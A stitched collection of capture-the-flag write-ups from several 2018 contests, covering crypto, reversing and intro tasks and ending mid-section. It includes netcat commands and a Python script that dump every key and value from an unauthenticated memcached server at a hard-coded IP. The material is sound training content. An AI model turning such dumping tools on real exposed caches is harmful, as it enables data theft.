Output :```Nmap scan report for net1.quals18.ctfsecurinets.com (34.245.183.111)Host is up (0.015s latency).rDNS record for 34.245.183.111: ec2-34-245-183-111.eu-west-1.compute.amazonaws.comNot shown: 11976 closed portsPORT STATE SERVICE22/tcp open ssh445/tcp filtered microsoft-ds11211/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2038.91 seconds```
It shouldn't be SSH service.
Microsoft-ds ? Maybe. Bu what's that unknown service listening in the 11211/TCP port ?
After Googling it, we find out that Memcached is a cache service which listen on that port. And knowing that the title of the task is Service Hidden in the bush, we can understand that "hidden" means "caching". So maybe we can ignore that microsoft-ds service actually.
Let's try to netcat it:
```netcat net1.quals18.ctfsecurinets.com 11211```
No output, be we authenticated successfully without credentials. It's logic because cache servers doesn't needs credentials. But this service is exposed in a public network.
Let's try to dump the 100 first keys:
```stats cachedump 1 100```
Output :```ITEM flag [23 b; 1521997883 s]END```
Excellent ! Now let's dump that flag item:
```get flag```
Output :```Flag{M3mc4cH3d_3xp0s3d}END```
So the flag is : ```Flag{M3mc4cH3d_3xp0s3d}```.
___
## The worst RSA Joke
**Category:** Crypto**Points:** 350**Author:** TheEmperors**Description:**
>The Emperors heard that the biggest weakness of RSA is when the attacker try to factorize the public modulous. That's why they ordered their security team to create pair keys using a single strong (big) prime modulous. Then, they started sending the first secret information. Given the public key and the ciphertext, can you decrypt the message ?>Link : [http://crypto.ctfsecurinets.com/2/RSA_Worst_Joke.tar.gz](resources/crypto-350-the_worst_rsa_joke/RSA_Worst_Joke.tar.gz)
**Hint:**
>Learn about RSA.
### Write-up
#### Understanding the problem
RSA is an asymmetric cryptography algorithm that require a public key (the modulus `n=p*q` and the public exponent `e`) and a private key (the modulus `n=p*q` and the private exponent `d`).
But looking at the description, TheEmperors changed premises of this algorithm: the modulus `n` will not be the multiplication operation of the prime numbers `p` and `q` (`n=p*q`).
Instead, the modulus `n` will be a single prime `n=p`.
Wait ... What ?? But how the decryption process will be ?
The [encryption/decryption Operaion](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Encryption) will not change:
```m = plaintextpublic_key = (n,e)private_key = (n,d)c = ciphertextencryption(public_key,m) = ciphertextdecryption(private_key,c) = plaintextEncryption : c ≡ (m^e) (mod n)Decryption : m ≡ (m^d) (mod n)```
But when the modulus `n` change, the private modulus `d` will change.
The private modulus cas be extracted from this expression `d*e ≡ 1 (mod Φ(n))`; (the most important expression in RSA) where `Φ` is Euler's Totient function.
So, `d ≡ e−1 (mod Φ(n))`; where `d` is the modular multiplicative inverse of e (modulo λ(n)).
And to determine `Φ(n)`, we start using this expression : `Φ(n) = Φ(p*q) = Φ(p)*Φ(q) = (p−1)*(q−1)`.
When `n=p` instead of `n=p*q`, `Φ(n) = Φ(p) = Φ(p) = (p−1)`. Because there is no `q` and `p` is prime.
But ... As we know, `d` is the private exponent that no one should know it and it's calculated from `n`, `e` and `Φ(n)` which we know them all.
So we can regenerate the private key from any private key if `n=p`. That's what TheEmperors calls ***The single prime modulus attack***.
You can find here more detail about [How RSA works with examples](http://doctrina.org/How-RSA-Works-With-Examples.html).
#### Defining the goal
Now, you have the public key, you can extract the modulus `n=p` and the public exponent `e`.
You have also the ciphertext `c` and you need to decrypt it using the private key.
So from n, we calculate `Φ(n)=p-1`. Then, we calculate `d ≡ e−1 (mod Φ(n))`. And we get the private key with the modulus `n=p` and the private exponent `d`.
And finally we decrypt the ciphertext `c` using the private key.
#### Coding
In python, we can perform encryption using the public key from `Crypto.PublicKey` library while the encryption method is based on `(n,e)` (the public key is generated from (n,e)).
We can also calculate `Φ(n)` and `d`. But when we generate the private key, we have to provide `(n,e,d,p,q)`. And the decryption can't be performed with this library because we tricked the modulus `n`.
So, we have to skip using the `Crypto.PublicKey` library to create our custom decryption method in this [python script](resources/crypto-350-the_worst_rsa_joke/RSA_Worst_Joke/solve.py).
#### Execution
Let's execute this script :
```chmod +x solve.py./solve.py```
Output:```public key: (MOD: 36511974694593690272644354864534934200522045623187752384823594729275730789191680514905027084950729514148679507005058047146031869995768765034876499069680202424692876360895377987654388335335689563844006584610187090074654410815638237841872991488680663410743679302763304922852173164820002226109196761249018548478251723505481964749218302723593776180246783117481280725673997940309717028451914887375722437833384305529884261542397905220138488012276363046571670926597766521674838665982314321651508118240682649024780239598188845543243957916954287138820155843952556411235376764737602711594439293285811102883736229645274092478611, E: 65537)private key: (MOD: 36511974694593690272644354864534934200522045623187752384823594729275730789191680514905027084950729514148679507005058047146031869995768765034876499069680202424692876360895377987654388335335689563844006584610187090074654410815638237841872991488680663410743679302763304922852173164820002226109196761249018548478251723505481964749218302723593776180246783117481280725673997940309717028451914887375722437833384305529884261542397905220138488012276363046571670926597766521674838665982314321651508118240682649024780239598188845543243957916954287138820155843952556411235376764737602711594439293285811102883736229645274092478611, D: 6247543894672835844140467147579149978251281255144841162143701898074340373681973622444496600861154474139238781017665150078514448176336282269574516083546604055579381349635789992730157175220935086576234643633651800175430284616118638313605501114699558409571381352536547315331252115145513297276172734190556388034776001760692048044581443257127738622233050427688711446323576192114884214368368609289887413489533722968889667042074707556626531647308652138551577242944708390284291938909710130201260540426797308789903193720403584447288367549334351221061831143233348606063651296821146479207471233576561113687508095873202979584893)Plaintext (from base64): The empire secret system has been exposed ! The top secret flag is : Flag{S1nGL3_PR1m3_M0duLUs_ATT4cK_TaK3d_D0wn_RSA_T0_A_Sym3tr1c_ALg0r1thm}```
So the flag is : ```Flag{S1nGL3_PR1m3_M0duLUs_ATT4cK_TaK3d_D0wn_RSA_T0_A_Sym3tr1c_ALg0r1thm}```.
You can find here the full python script (encryption and decryption) of the [**The single prime modulus attack**](resources/crypto-350-the_worst_rsa_joke/create_task.py)___
## Looser
**Category:** Crypto**Points:** 150**Author:** Anis_Boss**Description:**
>Can you help me recover the picture ?>Link : [http://crypto.ctfsecurinets.com/0/flag.png.crypt](resources/crypto-150-looser/flag.png.crypt)
**Hint:**
>No hint
### Write-upThis file was a PNG file but now it's encrypted. And as we know, the header of image files having the same file extension are similar.
Let's compare the two first line of the hexdump of two normal PNG files:
```diff <(hexdump -C file1.png | head -n2) <(hexdump -C file2.png | head -n2)```
Output:
```0a1,2> 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|> 00000010 00 00 01 f4 00 00 01 82 08 06 00 00 00 16 ad 31 |...............1|```
This means, the first line may be the same in PNG files.
Let's create [a script that extract the xor key from the first line of an encrypted file and a normal file](resources/crypto-150-looser/key_extract.sh) (out of this task)
```chmod +x key_extract.sh./key_extract.sh```
Output :
```eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeec3aeeeeed34eeeeeeeeee62```
This is the hexadecimal representation of the key. It seems like the key is ```0xee```.
So let's decrypt the flag file right now [using this script](resources/crypto-150-looser/solve.sh) :
```chmod +x solve.sh./solve.sh```
You will find the flag.png waiting for you.
So the flag is : ```Flag{Hopefully_headers_are_constants}```.
___
# Scoreboard
This is the scoreboard and the rankin for the 100/216 teams that they solved at least one task in this CTF :
Summary:
Detailed :
If you need the Json file of the scoreboard, you can find it [scoreboard/jsonAdvanced.json](here)
|
# Looser (Crypto)
We get [encrypted flag](flag.png.crypt) to work with.Judging by extension we can deduce that the orignal file was a PNG.We don't have much to work with, so we assume the simplest approach - some kind of stream cipher / XOR encryption.We know header of PNG file, so we can XOR the existing header with what we expect, and therefore extract the potential XOR key.
We assume that this is going to be some kind of repeating-xor encryption, so once we get the key, we can multiply it and decrypt the whole file:
```pythonfrom crypto_commons.generic import xor, xor_string
def main(): with open('flag.png.crypt', 'rb') as f: data = f.read() png_header = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 0xd, 0x49, 0x48, 0x44, 0x52, 0x0, 0x0] result = xor(png_header, map(ord, data[:len(png_header)])) key = "".join([chr(c) for c in result]) + ("\0" * (18 - len(png_header))) print(key.encode("hex")) with open('result.png', 'wb') as f: f.write(xor_string(data, key * (len(data) / len(key))))
main()```
As it turns out, it was even simpler - the whole file was encrypted with a single byte XOR key `e`.We recover the original picture:
 |
# Angstrom CTF : Rev3
**Category:** Reverse Engineering**Points:** 110
> Let's try Rev 3! For this executable, you will need to figure out what input makes the program return "Correct". You don't need the shell server for this one, but the binary can be found at /problems/rev3/ on the shell server.> > > HINTS> > Use a dissasembler or decompiler, then try and figure out how the program is checking your input.
## Write-upFirst we run the binary through a free decompiler over at https://retdec.com```//// This file was generated by the Retargetable Decompiler// Website: https://retdec.com// Copyright (c) 2018 Retargetable Decompiler <[email protected]>//
#include <stdint.h>#include <stdio.h>#include <string.h>
// ------------------- Function Prototypes --------------------
int32_t encode(char * str, int32_t a2);
// ------------------------ Functions -------------------------
// Address range: 0x80484cb - 0x8048514int32_t encode(char * str, int32_t a2) { int32_t len = strlen(str); // 0x80484d7 // branch -> 0x80484eb for (int32_t i = 0; i < len; i++) { char v1 = *(char *)(i + (int32_t)str); // 0x80484fb *(char *)(i + a2) = (v1 ^ 9) - 3; // continue -> 0x80484eb } // 0x8048512 return len;}
// Address range: 0x8048515 - 0x804862fint main(int argc, char ** argv) { // 0x8048515 int32_t v1; char * str2 = (char *)v1; // bp-64 int32_t v2 = *(int32_t *)20; // 0x8048530 if (argc != 2) { // 0x8048544 str2 = "Usage: ./rev1 <inputString>"; puts("Usage: ./rev1 <inputString>"); // branch -> 0x804860d // 0x804860d if (*(int32_t *)20 != v2) { // 0x804861b __stack_chk_fail(); // branch -> 0x8048620 } // 0x8048620 return 0; } int32_t * v3 = (int32_t *)((int32_t)argv + 4); // 0x8048564_0 char * str = (char *)*v3; str2 = str; strlen(str); encode((char *)*v3, (int32_t)&str2;; strlen((char *)&str2;; if (strcmp((char *)&str2, "egzloxi|ixw]dkSe]dzSzccShejSi^3q") == 0) { // 0x80485e6 puts("Congrats, that's right! Enter your input as the flag!"); // branch -> 0x804860d } else { // 0x80485f8 puts("Oops, that wasn't right. Please try again!"); // branch -> 0x804860d } // 0x804860d if (*(int32_t *)20 != v2) { // 0x804861b __stack_chk_fail(); // branch -> 0x8048620 } // 0x8048620 return 0;}```
The function encode is intersting, specifically this part:```char v1 = *(char *)(i + (int32_t)str); // 0x80484fb*(char *)(i + a2) = (v1 ^ 9) - 3;```They also give us a string which compares the encrpted text to it:```egzloxi|ixw]dkSe]dzSzccShejSi^3q```
A simple script I wrote reverses the string back into the flag:```string = "egzloxi|ixw]dkSe]dzSzccShejSi^3q"
#Gets the ascii valuedec = [ord(i) for i in string]flag = ""
#For loop to reverse the encoding function, basically just add 3 then xor 9for a in dec: d = a + 3 flag += chr(d ^ 9)
#prints the flagprint(flag)```
Running the script we get the flag: actf{reversing_aint_too_bad_eh?} |
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# __VolgaCTF 2018 Quals__ ## Golden Nonsense
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 200 | MiKHalyCH
**Description:**
> We've intercepted several consecutive signatures. Take everything you need and find the secret key. Send it to us in hex.[task.py](task.py) [signatures](signatures)
## SolutionThe code says that our algo is DSA-LCG. I've found best attack explanation at this [pdf](info.pdf)([link](https://link.springer.com/content/pdf/10.1007%2FBFb0052242.pdf))
To find `x` and `k1` we need to solve system of equations:
It's complicated if `q != M`. But in our task (SURPRISE!!!) `q == M`. That makes our challange much easier!All we need is too solve system in `GM(q)`.
That's all is realized in [solver](solver.py) |
```from z3 import *
s = Solver()x = Int('x')y = Int('y')
s.add(x <= 99, x > 9, y <= 99, y > 9, x <= y, x*y == 3431)
print (s.check())f = s.model()
print ("x =",f[x])print ("y =",f[y])``` |
# __VolgaCTF 2018 Quals__ ## Golden Antelope
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 350 | MiKHalyCH
**Description:**
> Last year we lost millions of dollars on our casino. Today we suggest that you play in an updated one.[casino_server.py](casino_server.py) golden-antelope.quals.2018.volgactf.ru:8888
## SolutionMain complexity of this task is prediction of three "random" generators. But wee don't need to find them all. `RA` and `RB` depends on `RX`.
```pydef H(state): return int("".join(map(str, state[-1:-9:-1])), 2)``` From this part we can understand that number from each generator is reversed part of 8 last bits converted to int.
After each step new number is `(last_number & 0b01111111) << 1 + {{0,1}, depends on last unused bit}`
Server can give us 29 numbers(`k[]`) for predicting. It means that we can restore at least 36 bits of each generator (8 from last states and 28 shifted before).
Now we can make some "system of equations" like:```(RX[0] + L[RB[0]] + L[RB[0]]) MOD 256 = k[0](RX[1] + L[RB[1]] + L[RB[1]]) MOD 256 = k[1]...(RX[i] + L[RB[i]] + L[RB[i]]) MOD 256 = k[i]...and so on```
My way to solve it:1) Brute all triples, that make k[0].2) Generate from them all possible tripples.3) Filter them to select some of them, that make k[1]4) Loop steps 2 and 3 (changing k[i] to k[i+1])
That gives us sequence of triples that was generated by server. It can restore seeds of server generators definitely.
Full algo of restoring is in [solver](solver.py) |
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```python
import socket,reimport sys,argparseimport json
class dump(object):
def __init__(self,**kwargs): socket.setdefaulttimeout(10) self.s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.s.connect((kwargs.get('host'),kwargs.get('port')))
def __enter__(self): result = [] itemsPack = self.__sendCmd('stats items\n') items = self.__unpackItems(itemsPack) keys = self.__unpackKeys(items) for d in self.__getData(keys): result.append({"key":d[0],"len":d[1],"value":d[2]}) return result def __exit__(self,*args): return self.s.close()
def __sendCmd(self,cmd): result = list() self.s.send(cmd) while True: data = self.s.recv(2048) if not data: break result.append(data) if 'END' in data: break return ''.join(result) def __unpackItems(self,data): items = re.findall('STAT items:(\d+):number (\d+)',data) return items
def __unpackKeys(self,data): keys = list() for item in data: cmd = "stats cachedump "+item[0]+" "+item[1]+'\n' keyStr = self.__sendCmd(cmd) key = re.findall('ITEM ([^\s]+) \[(\d+) b',keyStr) for k in key: if int(k[1]) != 0: keys.append((k[0],k[1])) return keys
def __getData(self,data): for key in data: d = re.search('\\r\\n(?P<value>[^\s]+)',self.__sendCmd('get '+key[0]+'\n')).groupdict() yield key[0],key[1],d['value'] if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--host',action='store',dest='host',default='34.245.183.111',help='memcached server host,default[34.245.183.111]') parser.add_argument('--port',action='store',dest='port',default='11211',help='memcached server port,default[11211]') parser.add_argument('--path',action='store',dest='path',default='./dump.json',help='File path,default[./dump.json]') args = parser.parse_args() hostPort = {'host':args.host,'port':int(args.port)} try: with dump(**hostPort) as dumpInst: data = dumpInst except: print >>sys.stderr,'can\'t dump data from %s:%s' %(args.host,args.port) try: with open(args.path,'w') as fp: json.dump(data,fp) except: print >>sys.stderr,'can\'t open or write file %s' % args.path```python script.py cat dump.json [{"value": "Flag{M3mc4cH3d_3xp0s3d}", "len": "23", "key": "flag"}] |
> What is this app? What does it do? Where shall we run it? What shall we do with it?> > [lights](https://0xd13a.github.io/ctfs/volgactf2018/lights/lights.zip)
The executable is an ARM binary:
```$ file lightslights: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=dfc36f976d652267c6a4feac861e7daa2681f5ae, stripped```
Let's open it in ```IDA Pro```. ```Hex Rays``` and ```Snowman``` can decompile the executable into fairly easy to read form.
The following function looks intriguing:
```csigned int sub_1063C(){ signed int result; // r0@2
if ( sub_14A3C() ) { sub_12E08(3u, 1); sub_1184C(); sub_12828(); sub_115CC(); sub_1265C(); sub_12518(); sub_12578(); sub_10920(); sub_13250(0x2EEu); sub_113C0(); sub_13250(0x2EEu); sub_12A6C(); sub_126E4(); sub_10920(); sub_13250(0x2EEu);...```
It contains a long list of functions called one after another. The functions that are called have some interesting characteristics:
* Function ```sub_13250``` is essentially a ```sleep()```:
```cint __fastcall sub_13250(unsigned int a1){ unsigned int v2; // [sp+0h] [bp-10h]@1 unsigned int v3; // [sp+4h] [bp-Ch]@1
v2 = a1 / 0x3E8; v3 = 1000000 * (a1 % 0x3E8); return nanosleep((const struct timespec *)&v2, 0);}```
* Other functions call some service function (```sub_132A0```) and sleep (```sub_13250```) intermittently. Let's consider ```sub_12518```, for example:
```cint sub_12518(){ sub_132A0(3u, 1); sub_13250(0xFAu); sub_132A0(3u, 0); sub_13250(0xFAu); sub_132A0(3u, 1); sub_13250(0x2EEu); sub_132A0(3u, 0); return sub_13250(0x2EEu);}```
The service function is called with 1 and 0 as parameters, and sleep is called with delay ```0xFA (250)``` and ```0x2EE (750)```. Considering the title of the challenge it seems like the code is controlling a light of some kind, turning it on an off and sleeping for different periods of time.
If this guess is correct then this function does the following:
* turn light on* wait for 250 ms* turn light off * wait for 250 ms* turn light on* wait for 750 ms* turn light off * wait for 750 ms
...which looks a lot like [Morse code](https://en.wikipedia.org/wiki/Morse_code) letter ```A```. :)
Going through other similar functions confirms this and gives us the following message relayed in Morse code:
```VOLGACTF WITH A BLINK OF AN EYE YOU FINALLY SEE THE LIGHT```
[Great song...](https://youtu.be/zSmOvYzSeaQ?t=1m11s) The flag is ```VolgaCTF{WITH_A_BLINK_OF_AN_EYE_YOU_FINALLY_SEE_THE_LIGHT}```.
|
We has 40 equations in these functions:sub_402060, sub_403250, sub_403C90, sub_405740, sub_403470, sub_402640, sub_401490, sub_403680, sub_4042A0, sub_402840, sub_405B80, sub_402E40, sub_405FC0, sub_401A60, sub_405DA0, sub_4061D0, sub_4040B0, sub_403050, sub_402A40, sub_4048D0, sub_405540, sub_401870, sub_404EF0, sub_405310, sub_401260, sub_403890, sub_402C50, sub_403EA0, sub_405100, sub_4046B0, sub_403A80, sub_401E60, sub_401C70, sub_404CD0, sub_404AD0, sub_4044A0, sub_402260, sub_402440, sub_405960, sub_401670
For each function, first agrument is FLAG, second agrument is global variable checkFlag (1 = correct, 0 = incorrect).From information about format flag: Flags match **/VolgaCTF{[\x20-\x7F]+}/**, I know 10 character from flag and condition for each other character is **/[\x20-\x7F]/**I wrote a python script using z3 find flag [solve.py](/2018/VolgaCTF/You_Shall_Not_Pass/solve.py).Flag: **VolgaCTF{D1$guis3_y0ur_code_and_y0u_@re_s@fe}** |
```javascriptconst express = require('express')const app = express()
function getTimestamp(date) { try{ var x = Math.floor((new Date(date)) / 1000); return x; } catch( e ){ return Math.floor((new Date()) / 1000); }}
function getAsciiCode(str){ var arr1 = []; for (var n = 0; n < str.length; n ++) { var ascii = Number(str.charCodeAt(n)); arr1.push(ascii); } return arr1.join('');}
app.get('/:username/:birth_day', (req, res) => { flag = '************'; username = req.params.username || ''; birthDay = req.params.birth_day || '';
console.log(username); console.log(birthDay); var priority = Math.pow(2, getAsciiCode(username) + getTimestamp(birthDay)); if(priority >= 0) { res.send('Hey peasent, no flag for you !!'); } else { res.send('Your magical powers have been proven, here is your flag: ' + flag ); }});
app.listen(3000, () => console.log('Node Task app listening on port 3000!'));
```We were give this file. To view flag we need to make sure that priority >= 0 should be false. priority is power of 2 and it can never be negative because 2 is positive. We know that getTimestamp(Date) computes time from " 00:00:00 on 1 January 1970". So using any time before it will return negative value so getAsciiCode(username)+ getTimestamp(birthDay) will turn into a string which is not a number(NaN). Javascript cannot compare a NaN to integer so priority >= 0 will be false and else block is executed.
Flag is alerted as shown in the image
 |
# EasyCTF_V WriteupThis repository serves as a writeup for EasyCTF_V solved by TheEmperors's team
## Discord
**Category:** Misc**Points:** 1**Description:**
>Join the Discord chat! Maybe if you use it enough, you'll find the flag.
**Hint:**
>The link to joining the Discord is on our Updates page ;) Make sure you read the info channel.
### Write-upWe joined the Discord #general channel related to the CTF and we saw the flag in the top of the page with the channel description
So the flag is : ```easyctf{Is_this_really_a_D1sc0rd_fl4g?}```.
___
## Intro: Hello, world!
**Category:** Intro**Points:** 10**Description:**
>Using your favorite language of choice, print Hello, world! to the output.> * For Python, consider the print function.> * For Java, consider System.out.println.> * For CXX, consider including stdio.h and using the printf function.
**Hint:**
>If you're not sure how to do this, try searching Google for how to make "Hello world!" programs in your language of choice.
### Write-upUsing Python2
```pythonprint "Hello world!"```___
## Intro: Linux
**Category:** Intro**Points:** 10**Description:**
>Log into the shell server! You can do this in your browser by clicking on the Shell server link in the dropdown in the top right corner, or using an SSH client by following the directions on that page.>Once you've logged in, you'll be in your home directory. We've hidden something there! Try to find it. :)
**Hint:**
>(no hint)
### Write-upWe should visit the [Shell Server](https://www.easyctf.com/chals/shell) section and connect to the remote server using our credentials or we just need to execute this command in a linux terminal:
```ssh [email protected]```
Then, we execute this command to list all the files located on our home directory:
```ls -lA```
Output:```user666@shell:~$ ls -lAtotal 1-rw-r--r-- 1 user666 ctfuser 41 Feb 7 13:41 .flag```
We found the flag file. So we show its content using this command:
```cat .flag```
Output:```user666@shell:~$ cat .flageasyctf{i_know_how_2_find_hidden_files!}```
So the flag is : ```easyctf{i_know_how_2_find_hidden_files!}```.
___
## The Oldest Trick in the Book
**Category:** Intro**Points:** 10**Description:**
>This is literally one of oldest tricks in the book. To be precise, from the year AD 56.>Crack me. ```lhzfjam{d3sj0t3_70_345fj7m_799h21}```
**Hint:**
>Et tu, Brute?
### Write-upThe flag format is easyctf{...} and we can see lhzfjam{...}. So it may be a caesar cipher.We try to brute force it 26 times and we can easily find the flag in 19th rotation.
So the flag is: ```easyctf{w3lc0m3_70_345yc7f_799a21}```___
## Intro: Web
**Category:** Intro**Points:** 10**Description:**
>The web goes well beyond the surface of the browser! Warm up your web-sleuthing skills with this challenge by finding the hidden flag on [this page](https://cdn.easyctf.com/328f49c7ab7b65a75c9e274f066435c6fe7fb0f207172a82da971348a7f05aec_index.html)!
Source code of this task: [here](resources/intro-10-web/index.html)
**Hint:**
>Not sure where to look? Try looking up 'source code', specifically related to web pages.
### Write-upIn this task the flag is not visible in the page:So we inspect the source code :And there we find the flag : ```easyctf{hidden_from_the_masses_11a8b2}```
___
## Soupreme Encoder
**Category:** Cryptography**Points:** 20**Description:**
>Decode this ```68657869745f6d6174655f3432386533653538623765623463636232633436```
**Hint:**
>It's encoded!
### Write-upIt looks like a hex code.Decoding it from hex to ascii, the plain text is: hexit_mate_428e3e58b7eb4ccb2c46So the flag is: ```easyctf{hexit_mate_428e3e58b7eb4ccb2c46}```___
## Intro: Netcat
**Category:** Intro**Points:** 20**Description:**
>I've got a little flag for you! Connect to ```c1.easyctf.com:12481``` to get it, but you can't use your browser!>(Don't know how to connect? Look up TCP clients like Netcat. Hint: the Shell server has Netcat installed already!)>Here's your player key: ```3770529```. Several challenges might ask you for one, so you can get a unique flag!
**Hint:**
>(No hint)
### Write-upJust try to connect to that address using netcat in your shell terminal:
```nc c1.easyctf.com 12481```
Output:```enter your player key:```So you should provied the key:```enter your player key: 3770529```
Output:```thanks! here's your key: easyctf{hello_there!_C06DFE0d60723Bec}```
So the flag is : ```easyctf{hello_there!_C06DFE0d60723Bec}```___
## Intro: Hashing
**Category:** Miscellaneous**Points:** 20**Description:**
>Cryptographic hashes are pretty cool! Take the SHA-512 hash of [this file](resources/miscellaneous-20-hashing/image.png), and submit it as your flag.
**Hint:**
>Try searching the web to find out what SHA-512 is.
### Write-upJust hash that file using an online tool : ```ce53d733c0d7738c7a390c21ef65e8b4746795d6d6c2b8269c810bc53784bfebfeaefbc6b66e95b84b5d2eed9ae72169b960ba5ee50846233935dc903476a20f```.
So the flag is : ```easyctf{ce53d733c0d7738c7a390c21ef65e8b4746795d6d6c2b8269c810bc53784bfebfeaefbc6b66e95b84b5d2eed9ae72169b960ba5ee50846233935dc903476a20f}```.
___
## Programming: Exclusive
**Category:** Programming**Points:** 20**Description:**
>Given two integers a and b, return a xor b. Remember, the xor operator is a bitwise operator that's usually represented by the ^ character.>For example, if your input was 5 7, then you should print 2.
**Hint:**
>(No hint)
### Write-upThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/prog_xor/grader.py):
```python#Original EasyCTF_V write-upa, b = map(int, input().split(" "))print(a ^ b)```
___
## Haystack
**Category:** Forensics**Points:** 30**Description:**
>There's a flag hidden in this [haystack](resources/forensics-30-haystack/haystack.txt).
**Hint:**
>(No hint)
### Write-upWe search in that txt file the word "easyctf{" and so the flag found is : ```easyctf{iBfbRnwyuEImrogHTqVHFgMvL}```
___
## Look At Flag
**Category:** Forensics**Points:** 30**Description:**
>What is the flag? [flag](resources/forensics-30-look_at_flag/flag.txt)
**Hint:**
>What is this file?
### Write-upWe open that txt file in the browser.
Fortunately the browser detects images even with the .txt extension.
If you can't see the flag, just you have to change the file extension to .png.
Why .png extension ? Just run the command ```file flag.txt``` to know the type of file from the header bytes.
So the flag is : ```easyctf{FLaaaGGGGGg}```.
___
## EzSteg
**Category:** Forensics**Points:** 30**Description:**
>There appears to be a message beyond what you can see in [soupculents.jpg](resources/forensics-30-ezsteg/soupculents.jpg).
**Hint:**
>The description is a hint.
### Write-upWe have to run this command to extract the flag from image source code:```strings soupculents.jpg | grep easyctf```We can find the flag in the output:
So the flag is ```easyctf{l00k_at_fil3_sigS}```.
___
## Intro: Reverse Engineering
**Category:** Intro**Points:** 30**Description:**
>What does this [Python program](resources/intro-30-reverse_engineering/mystery.py) do? And more specifically, what input would give this output?>```6513c2b1c2bac3835f0cc28a5b6ac2abc2b9c2bfc381c39b7613c3bac2b3c2a17f7ac29f00c3aa46c2b9c2a6```
**Hint:**
>(No hint)
### Write-upWe have to reverse that cipher text. So we need to add just one line to the python file:
**[solution.py](resources/intro-30-reverse_engineering/solution.py)**
```python#!/usr/bin/env python3import binasciikey = "graAhogG"flag="6513c2b1c2bac3835f0cc28a5b6ac2abc2b9c2bfc381c39b7613c3bac2b3c2a17f7ac29f00c3aa46c2b9c2a6"def mystery(s): r = "" # Adding this line t = binascii.unhexlify(s).decode("utf-8") for i, c in enumerate(t): r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256)) return bytes(r, "utf-8")
#And this oneprint(mystery(flag))```
Then, we run it:```chmod +x solution./solution```
Output:```b'easyctf{char_by_char_aEaBdc}'```
So the flag is : ```easyctf{char_by_char_aEaBdc}```.
___
## Programming: Taking Input
**Category:** Programming**Points:** 30**Description:**
>OK, OK, you got Hello, world down, but can you greet specific people?>You'll be given the input of a certain name. Please greet that person using the same format. For example, if the given input is Michael, print Hello, Michael!.> * For Python, consider the input() function.> * For Java, consider System.in.> * For C, consider including stdio.h and reading input using read.> * For C++, consider including iostream and reading input using cin.
**Hint:**
>(No hint)
### Write-upThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/prog_input/grader.py):
```python#Original EasyCTF_V write-upname = input()print("Hello, {}!".format(name))```
___
## Programming: Over and Over
**Category:** Programming**Points:** 40**Description:**
>You can decode a Caesar cipher, but can you write a program to decode a Caesar cipher?>Your program will be given 2 lines of input, and your program needs to output the original message.> * First line contains N, an integer representing how much the key was shifted by. 1 <= N <= 26> * Second line contains the ciphertext, a string consisting of lowercase letters and spaces.>For example:> * ```6```> * ```o rubk kgyeizl```>You should print> * ```i love easyctf```
**Hint:**
>(No hint)
### Write-upThe best solution was provided by the original write-up: [here](https://github.com/EasyCTF/easyctf-iv-problems/blob/master/prog_loop/grader.py):
```python#Original EasyCTF_V write-upn = int(input())print(" and ".join(["over"] * n))```
___
## hexedit
**Category:** Reverse Engineering**Points:** 50**Description:**
> Can you find the flag in this [file](resources/reverse_engineering-50-hexedit/hexedit)?
**Hint:**
>(No hint)
### Write-upWe have to execute this command in your shell terminal to find out the flag:```strings hexedit | grep easyctf```
Output :```easyctf{eb04fadf}```
So the flag is : ```easyctf{eb04fadf}```.
___
## Substitute
**Category:** Cryptography**Points:** 50**Description:**
>Nobody can guess this flag! [msg.txt](resources/cryptography-50-substitute/msg.txt)
**Hint:**
>Look at the title.
### Write-upThe cipher text is encrypted with the Substitution cipher.
So we have to break it using any tool solver.
We used this [online tool](https://www.guballa.de/substitution-solver).
The key found was : ```aywmcnopjqrstxihbdlegzukfv```.
And then, the plain text was:```YO! NICEBOWLOFSOUP JUST MADE A NEW FLAG FOR THE CTF AND IS TOTALLY PROUD OF ITS INGENUITY. THIS IS ALSO THE SECOND PROBLEM EVER MADE FOR EASYCTF. HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.```
So the flag is : ```EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS}```.
___
## Markov's Bees
**Category:** Linux**Points:** 50**Description:**
>Head over to the shell and see if you can find the flag at ```/problems/markovs_bees/``` !
**Hint:**
>Don't do this by hand!
### Write-upWe have to connect to the remote server as explained in the [Intro : Linux](#intro-linux) task, and we have to execute this command to change the current working directory to the ```/problems/markovs_bees/``` directory:```cd /problems/markovs_bees/```
Then, we search inside of all the files located (in the current directory or the sub-directories), the flag as we know that all the flag starts with "easyctf{":```grep -R "easyctf" .```
Output :```bees/c/e/i/bee913.txt:easyctf{grepping_stale_memes_is_fun}```
So, the flag is : ```easyctf{grepping_stale_memes_is_fun}```
___
## xor
**Category:** Cryptography**Points:** 50**Description:**
>A flag has been encrypted using single-byte xor. Can you decrypt it? [File](resources/cryptography-50-xor/xor.txt).
**Hint:**
>(No hint)
### Write-upWe have to find the single-byte used to encrypt the plain text.
But, we know that the flag starts with ```easyctf{```. And we know the xor is a symetric cipher. So encrypting the cipher text with the plain text, we can find the key. We only need to know the single-byte key.
So let's print the file to the hexadecimal representation:```bashxxd -p xor.txt | tr -d "\n"```
Output:```181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200```
The hexadecimal representation of ```easyctf{``` is:```echo -n "easyctf{" |xxd -p -u```
Output :```656173796374667B```
Now we have to xor the same length of the cipher text and the plain text starting from the first position.
* old cipher text = 181c0e041e091b06050a13090c0b0b120c0f070d071f131707110e1513170c0f1200* old plain text = 656173796374667B
* new cipher text = 181c0e041e091b06* new plain text = 656173796374667B
